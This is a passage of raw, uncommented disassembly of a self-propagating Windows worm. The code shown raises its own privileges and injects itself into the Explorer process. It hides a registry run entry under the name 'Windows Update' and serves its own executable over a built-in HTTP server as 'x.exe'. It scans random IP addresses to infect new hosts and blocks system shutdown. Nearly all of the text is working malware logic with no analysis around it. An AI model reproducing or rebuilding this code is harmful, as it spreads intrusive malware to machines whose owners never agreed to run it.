dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 cmp [ebp+arg_0], 0 jz loc_31601CC1 push 68h lea eax, [ebp+var_89E4] push offset dword_31604A20 push eax call sub_31602CA2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31602CA2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31604A8C push eax call sub_31602CA2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31602CA2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31604B00 push eax call sub_31602CA2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jz loc_31601D26 push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31601D19 ; --------------------------------------------------------------------------- loc_31601BD1: ; CODE XREF: sub_316017DB+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31602C96 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31604BF8 push eax call sub_31602CA2 ; memcpy push offset byte_316042B8 call sub_31602C9C ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_316042B8 push eax call sub_31602CA2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31604C70 push eax call sub_31602CA2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31604BF8 push eax call sub_31602CA2 ; memcpy add esp, 40h push offset byte_316042B8 call sub_31602C9C ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_316042B8 push eax call sub_31602CA2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31601C6D: ; CODE XREF: sub_316017DB+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31601C6D and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31602C96 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31602C96 ; memset add esp, 18h jmp loc_31601A72 ; --------------------------------------------------------------------------- loc_31601CC1: ; CODE XREF: sub_316017DB+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_3160490C push eax call sub_31602CA2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31602CA2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_3160498C push eax call sub_31602CA2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31601D19: ; CODE XREF: sub_316017DB+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31601D26: ; CODE XREF: sub_316017DB+1ADj ; sub_316017DB+1E1j ... push 2 push [ebp+var_4] call dword_31601170 ; shutdown loc_31601D31: ; CODE XREF: sub_316017DB+166j push [ebp+var_4] call dword_31601174 ; closesocket pop esi loc_31601D3B: ; CODE XREF: sub_316017DB+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_316017DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601D42 proc near ; CODE XREF: UPX0:loc_31602350p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_316010A8 ; LoadLibraryA mov esi, dword_316010A4 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31601DC6 push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31601DC6 push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31601DC6 lea eax, [ebp+var_C] push eax push 20h call dword_316010A0 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31601DC6: ; CODE XREF: sub_31601D42+28j ; sub_31601D42+37j ... pop edi pop esi leave retn sub_31601D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601DCA proc near ; CODE XREF: UPX0:31602364p var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31604FE0 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_316010B4 ; GetModuleHandleA mov esi, dword_316010A4 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31601E11 loc_31601E0D: ; CODE XREF: sub_31601DCA+54j push 1 jmp short loc_31601E62 ; --------------------------------------------------------------------------- loc_31601E11: ; CODE XREF: sub_31601DCA+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31601E0D push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31601110 ; FindWindowA test eax, eax jnz short loc_31601E3F call dword_31601114 ; GetForegroundWindow test eax, eax jnz short loc_31601E3F push 2 jmp short loc_31601E62 ; --------------------------------------------------------------------------- loc_31601E3F: ; CODE XREF: sub_31601DCA+65j ; sub_31601DCA+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31601118 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_316010B0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31601E65 push 3 loc_31601E62: ; CODE XREF: sub_31601DCA+45j ; sub_31601DCA+73j pop eax jmp short loc_31601ED0 ; --------------------------------------------------------------------------- loc_31601E65: ; CODE XREF: sub_31601DCA+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3160107C test eax, eax jz short loc_31601EC3 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_316010AC ; WriteProcessMemory push dword_31604FD4 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31601EAF push eax call esi ; CloseHandle jmp short loc_31601ECA ; --------------------------------------------------------------------------- loc_31601EAF: ; CODE XREF: sub_31601DCA+DEj push offset aUterm18 ; "uterm18" call sub_31601F03 pop ecx mov [ebp+var_4], 5 jmp short loc_31601ECA ; --------------------------------------------------------------------------- loc_31601EC3: ; CODE XREF: sub_31601DCA+B2j mov [ebp+var_4], 4 loc_31601ECA: ; CODE XREF: sub_31601DCA+E3j ; sub_31601DCA+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_31601ED0: ; CODE XREF: sub_31601DCA+99j pop edi pop esi pop ebx leave retn sub_31601DCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601ED5 proc near ; CODE XREF: sub_3160219E+Bp ; UPX0:31602326p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_316010B8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_316010EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_31601ED5 endp ; =============== S U B R O U T I N E ======================================= sub_31601F03 proc near ; CODE XREF: sub_31601DCA+EAp ; UPX0:31602330p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_316010BC ; CreateMutexA retn sub_31601F03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601F12 proc near ; CODE XREF: sub_3160238C+147p ; sub_3160238C+152p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_316010C0 ; CreateThread pop ebp retn sub_31601F12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601F2C proc near ; CODE XREF: sub_3160219E+12Cp ; sub_3160258F+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_316010C0 ; CreateThread push eax call dword_3160107C ; CloseHandle pop ebp retn sub_31601F2C endp ; =============== S U B R O U T I N E ======================================= sub_31601F4D proc near ; CODE XREF: sub_316011A0+68p ; sub_31602A60+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31601F75 loc_31601F5E: ; CODE XREF: sub_31601F4D+26j call dword_316010FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31601F5E loc_31601F75: ; CODE XREF: sub_31601F4D+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31601F4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601F7D proc near ; CODE XREF: sub_316011A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31602C96 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_316010C4 ; CreateProcessA push [ebp+var_C] mov esi, dword_3160107C mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31601F7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31601FD3 proc near ; CODE XREF: sub_31602617+3Ep ; sub_316026DE+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3160114C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31601FF4 call dword_31601150 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31601FF4: ; CODE XREF: sub_31601FD3+15j lea eax, [ebp+var_34] push eax call dword_31601154 ; gethostbyname test eax, eax jnz short loc_31602009 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31602009: ; CODE XREF: sub_31601FD3+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31601FD3 endp ; =============== S U B R O U T I N E ======================================= sub_31602012 proc near ; CODE XREF: sub_3160169C+Cp ; sub_3160252B+22p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31601130 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31602012 endp ; =============== S U B R O U T I N E ======================================= sub_31602028 proc near ; CODE XREF: sub_3160238C+D8p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_316010CC ; OpenEventA test eax, eax jz short locret_31602041 push eax call dword_316010C8 ; SetEvent locret_31602041: ; CODE XREF: sub_31602028+10j retn sub_31602028 endp ; =============== S U B R O U T I N E ======================================= sub_31602042 proc near ; CODE XREF: sub_3160169C+39p push esi mov esi, dword_316010FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31602042 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31602058 proc near ; DATA XREF: sub_3160219E+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_3160116C ; recv cmp eax, 0FFFFFFFFh jnz short loc_31602089 push 1 jmp loc_31602144 ; --------------------------------------------------------------------------- loc_31602089: ; CODE XREF: sub_31602058+28j mov esi, dword_31601104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31602154 lea eax, [ebp+var_100] push offset dword_316041F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31602154 mov esi, dword_31601168 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31604FD0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3160111C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31602C9C ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_31602106: ; CODE XREF: sub_31602058+E8j mov eax, dword_31604FD0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_31602118 mov eax, ecx loc_31602118: ; CODE XREF: sub_31602058+BCj test eax, eax jz short loc_31602147 push 0 push eax mov eax, dword_31604FC8 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31602142 cmp eax, 1000h jb short loc_31602147 push 64h add edi, eax call dword_31601094 ; Sleep jmp short loc_31602106 ; --------------------------------------------------------------------------- loc_31602142: ; CODE XREF: sub_31602058+D5j push 2 loc_31602144: ; CODE XREF: sub_31602058+2Cj pop eax jmp short loc_31602197 ; --------------------------------------------------------------------------- loc_31602147: ; CODE XREF: sub_31602058+C2j ; sub_31602058+DCj push offset dword_31604FCC call dword_316010D4 ; InterlockedIncrement jmp short loc_31602172 ; --------------------------------------------------------------------------- loc_31602154: ; CODE XREF: sub_31602058+49j ; sub_31602058+61j mov esi, dword_31601168 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31604D38 push ebx call esi ; send loc_31602172: ; CODE XREF: sub_31602058+FAj push 7D0h call dword_31601094 ; Sleep push 2 push ebx call dword_31601170 ; shutdown push ebx call dword_31601174 ; closesocket push 0 call dword_316010D0 ; ExitThread xor eax, eax loc_31602197: ; CODE XREF: sub_31602058+EDj pop edi pop esi pop ebx leave retn 4 sub_31602058 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3160219E proc near ; DATA XREF: sub_3160238C+142o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31601ED5 lea eax, [ebp+var_130] push 104h push eax push offset aWindowsUpdate ; "Windows Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31604FCC, ebx call sub_3160284E add esp, 14h test eax, eax jnz loc_316022D3 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31601080 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_3160220A push 1 call dword_316010D0 ; ExitThread loc_3160220A: ; CODE XREF: sub_3160219E+62j push ebx push esi call dword_316010DC ; GetFileSize push eax mov dword_31604FD0, eax call sub_31602C6A pop ecx mov dword_31604FC8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31604FD0 push eax push esi call dword_316010D8 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31604FD0, eax call dword_3160107C ; CloseHandle push ebx push 1 push 2 call dword_31601158 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31602C96 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_3160226C: ; CODE XREF: sub_3160219E+E5j ; sub_3160219E+EDj ... call dword_316010FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_31604FDC, eax jz short loc_3160226C xor ecx, ecx mov cl, ah test cl, cl jz short loc_3160226C push eax call dword_31601160 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31601140 ; bind test eax, eax jnz short loc_3160226C push 64h push edi call dword_31601144 ; listen mov [ebp+var_8], esi pop esi loc_316022B5: ; CODE XREF: sub_3160219E+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31601148 ; accept push eax push offset sub_31602058 call sub_31601F2C pop ecx pop ecx jmp short loc_316022B5 ; --------------------------------------------------------------------------- loc_316022D3: ; CODE XREF: sub_3160219E+3Dj push ebx call dword_316010D0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_3160219E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316022E2 proc near ; CODE XREF: sub_3160238C:loc_316024C8p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3160113C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_316022E2 endp ; --------------------------------------------------------------------------- push 0 call dword_316010B4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31604FE0, eax call dword_31601074 ; DeleteFileA call sub_31601ED5 push offset aUterm18 ; "uterm18" call sub_31601F03 pop ecx mov dword_31604FD4, eax call dword_316010E4 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31602350 push 1 call dword_316010E0 ; ExitProcess loc_31602350: ; CODE XREF: UPX0:31602346j call sub_31601D42 call sub_316029B2 call sub_31602B2C push offset sub_3160238C call sub_31601DCA test eax, eax pop ecx jz short loc_31602375 push 0 call sub_3160238C loc_31602375: ; CODE XREF: UPX0:3160236Cj xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31602378 proc near ; CODE XREF: sub_3160238C:loc_316024F1p ; sub_3160252B:loc_31602544p ... push 0 push dword_31604FD8 call dword_31601070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31602378 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3160238C proc near ; CODE XREF: UPX0:31602370p ; DATA XREF: UPX0:3160235Fo var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31601190 push offset sub_31602C90 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 5Ch push ebx push esi push edi mov [ebp+var_68], offset aU10x ; "u10x" mov [ebp+var_64], offset aU11x ; "u11x" mov [ebp+var_60], offset aU12x ; "u12x" mov [ebp+var_5C], offset aU13x ; "u13x" mov [ebp+var_58], offset aU14x ; "u14x" mov [ebp+var_54], offset aU15x ; "u15x" mov [ebp+var_50], offset aU16x ; "u16x" mov [ebp+var_4C], offset aU17x ; "u17x" mov [ebp+var_48], offset aU8 ; "u8" mov [ebp+var_44], offset aU9 ; "u9" mov [ebp+var_40], offset aU10 ; "u10" mov [ebp+var_3C], offset aU11 ; "u11" mov [ebp+var_38], offset aU12 ; "u12" mov [ebp+var_34], offset aU13 ; "u13" mov [ebp+var_30], offset aU13i ; "u13i" mov [ebp+var_2C], offset aU14 ; "u14" mov [ebp+var_28], offset aU15 ; "u15" mov [ebp+var_24], offset aU16 ; "u16" mov [ebp+var_20], offset aU17 ; "u17" mov [ebp+var_1C], offset aU18 ; "u18" push offset aU18x ; "u18x" xor edi, edi push edi push 1 push edi call dword_3160106C ; CreateEventA mov dword_31604FD8, eax mov [ebp+var_4], edi mov [ebp+var_6C], edi loc_31602457: ; CODE XREF: sub_3160238C+E1j cmp [ebp+var_6C], 8 jnb short loc_3160246F mov eax, [ebp+var_6C] push [ebp+eax*4+var_68] call sub_31602028 pop ecx inc [ebp+var_6C] jmp short loc_31602457 ; --------------------------------------------------------------------------- loc_3160246F: ; CODE XREF: sub_3160238C+CFj mov [ebp+var_6C], edi loc_31602472: ; CODE XREF: sub_3160238C+FCj cmp [ebp+var_6C], 0Ch jnb short loc_3160248A mov eax, [ebp+var_6C] push [ebp+eax*4+var_48] call sub_31601F03 pop ecx inc [ebp+var_6C] jmp short loc_31602472 ; --------------------------------------------------------------------------- loc_3160248A: ; CODE XREF: sub_3160238C+EAj cmp [ebp+arg_0], edi jz short loc_316024C8 push offset aWs2_32 ; "ws2_32" mov esi, dword_316010A8 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm18 ; "uterm18" call sub_31601F03 pop ecx mov dword_31604FD4, eax loc_316024C8: ; CODE XREF: sub_3160238C+101j call sub_316022E2 push edi push offset sub_3160219E call sub_31601F12 push edi push offset sub_3160169C call sub_31601F12 push edi push offset loc_3160273A call sub_31601F12 add esp, 18h loc_316024F1: ; CODE XREF: sub_3160238C+180j call sub_31602378 test eax, eax jnz short loc_3160250E push edi call dword_31601018 ; AbortSystemShutdownA push 1388h call dword_31601094 ; Sleep jmp short loc_316024F1 ; --------------------------------------------------------------------------- loc_3160250E: ; CODE XREF: sub_3160238C+16Cj or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_3160238C endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3160252B proc near ; DATA XREF: sub_3160258F+55o ; sub_31602617+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3160253A push 1 pop eax jmp short locret_3160258B ; --------------------------------------------------------------------------- loc_3160253A: ; CODE XREF: sub_3160252B+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_31602544: ; CODE XREF: sub_3160252B+5Aj call sub_31602378 test eax, eax jnz short loc_31602587 call sub_31602012 test eax, eax jz short loc_31602587 cmp [ebp+var_1], bl jz short loc_31602580 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_316017DB movzx esi, word_31604FEC pop ecx call dword_316010FC ; rand cdq idiv esi add edx, esi push edx call dword_31601094 ; Sleep loc_31602580: ; CODE XREF: sub_3160252B+2Ej inc bl cmp bl, 0FFh jb short loc_31602544 loc_31602587: ; CODE XREF: sub_3160252B+20j ; sub_3160252B+29j pop esi xor eax, eax pop ebx locret_3160258B: ; CODE XREF: sub_3160252B+Dj leave retn 4 sub_3160252B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3160258F proc near ; DATA XREF: sub_31602617+7Eo ; UPX0:316027CFo arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3160259D push 1 pop eax jmp short loc_31602613 ; --------------------------------------------------------------------------- loc_3160259D: ; CODE XREF: sub_3160258F+7j push ebx push esi push edi call sub_31601ED5 mov esi, dword_316010FC xor ebx, ebx loc_316025AD: ; CODE XREF: sub_3160258F+7Dj call sub_31602378 test eax, eax jnz short loc_3160260E call sub_31602012 test eax, eax jz short loc_3160260E call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31604FE4 mov byte ptr [ebp+arg_0+3], al call dword_316010D4 ; InterlockedIncrement push [ebp+arg_0] call sub_316017DB test eax, eax pop ecx jnz short loc_316025F0 push [ebp+arg_0] push offset sub_3160252B call sub_31601F2C pop ecx pop ecx loc_316025F0: ; CODE XREF: sub_3160258F+50j movzx edi, word_31604FEC call esi ; rand cdq idiv edi add edx, edi push edx call dword_31601094 ; Sleep inc ebx cmp ebx, 8000h jl short loc_316025AD loc_3160260E: ; CODE XREF: sub_3160258F+25j ; sub_3160258F+2Ej pop edi pop esi xor eax, eax pop ebx loc_31602613: ; CODE XREF: sub_3160258F+Cj pop ebp retn 4 sub_3160258F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31602617 proc near ; DATA XREF: UPX0:316027E7o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_31601ED5 call sub_31602378 test eax, eax jnz loc_316026D0 push ebx mov ebx, dword_31601094 push esi mov esi, dword_316010FC push edi loc_3160263D: ; CODE XREF: sub_31602617+48j ; sub_31602617+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_3160264C: ; CODE XREF: sub_31602617+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_3160264C call sub_31601FD3 mov edi, [ebp+var_4] cmp edi, eax jz short loc_3160263D call sub_31602012 test eax, eax jz short loc_316026A8 push offset dword_31604FE4 call dword_316010D4 ; InterlockedIncrement push edi call sub_316017DB test eax, eax pop ecx jnz short loc_316026AF push edi push offset sub_3160252B call sub_31601F2C pop ecx mov [ebp+var_8], 4 pop ecx loc_31602694: ; CODE XREF: sub_31602617+8Dj push edi push offset sub_3160258F call sub_31601F2C dec [ebp+var_8] pop ecx pop ecx jnz short loc_31602694 jmp short loc_316026AF ; --------------------------------------------------------------------------- loc_316026A8: ; CODE XREF: sub_31602617+51j push 2710h call ebx ; Sleep loc_316026AF: ; CODE XREF: sub_31602617+67j ; sub_31602617+8Fj movzx edi, word_31604FEC call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_31602378 test eax, eax jz loc_3160263D pop edi pop esi pop ebx loc_316026D0: ; CODE XREF: sub_31602617+11j push 0 call dword_316010D0 ; ExitThread xor eax, eax leave retn 4 sub_31602617 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_316026DE proc near ; CODE XREF: UPX0:316027ACp ; UPX0:loc_31602812p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_31601FD3 push eax call dword_3160115C ; inet_ntoa mov esi, dword_31601068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push dword_31604FDC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3160111C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_316042BA call esi ; lstrcpyA push offset byte_316042B8 call dword_31601084 ; lstrlenA mov byte_316042B8[eax], 0DFh pop esi leave retn sub_316026DE endp ; --------------------------------------------------------------------------- loc_3160273A: ; DATA XREF: sub_3160238C+158o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31604FE4, ebx call sub_31602012 mov esi, dword_31601094 mov edi, 1388h test eax, eax jnz short loc_31602768 loc_3160275C: ; CODE XREF: UPX0:31602766j push edi call esi ; Sleep call sub_31602012 test eax, eax jz short loc_3160275C loc_31602768: ; CODE XREF: UPX0:3160275Aj lea eax, [esp+14h] push ebx push eax call dword_31601130 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31604FE8, ebx pop ebp mov word_31604FEC, 96h jz short loc_316027A5 mov dword_31604FE8, 1 mov ebp, 15Eh mov word_31604FEC, 14h loc_316027A5: ; CODE XREF: UPX0:3160278Bj call sub_31601FD3 mov ebx, eax call sub_316026DE cmp ebx, 100007Fh jz short loc_316027C6 push ebx push offset sub_3160252B call sub_31601F2C pop ecx pop ecx loc_316027C6: ; CODE XREF: UPX0:316027B7j mov dword ptr [esp+10h], 4 loc_316027CE: ; CODE XREF: UPX0:316027DFj push ebx push offset sub_3160258F call sub_31601F2C dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_316027CE test ebp, ebp jle short loc_316027F6 loc_316027E5: ; CODE XREF: UPX0:316027F4j push 0 push offset sub_31602617 call sub_31601F2C 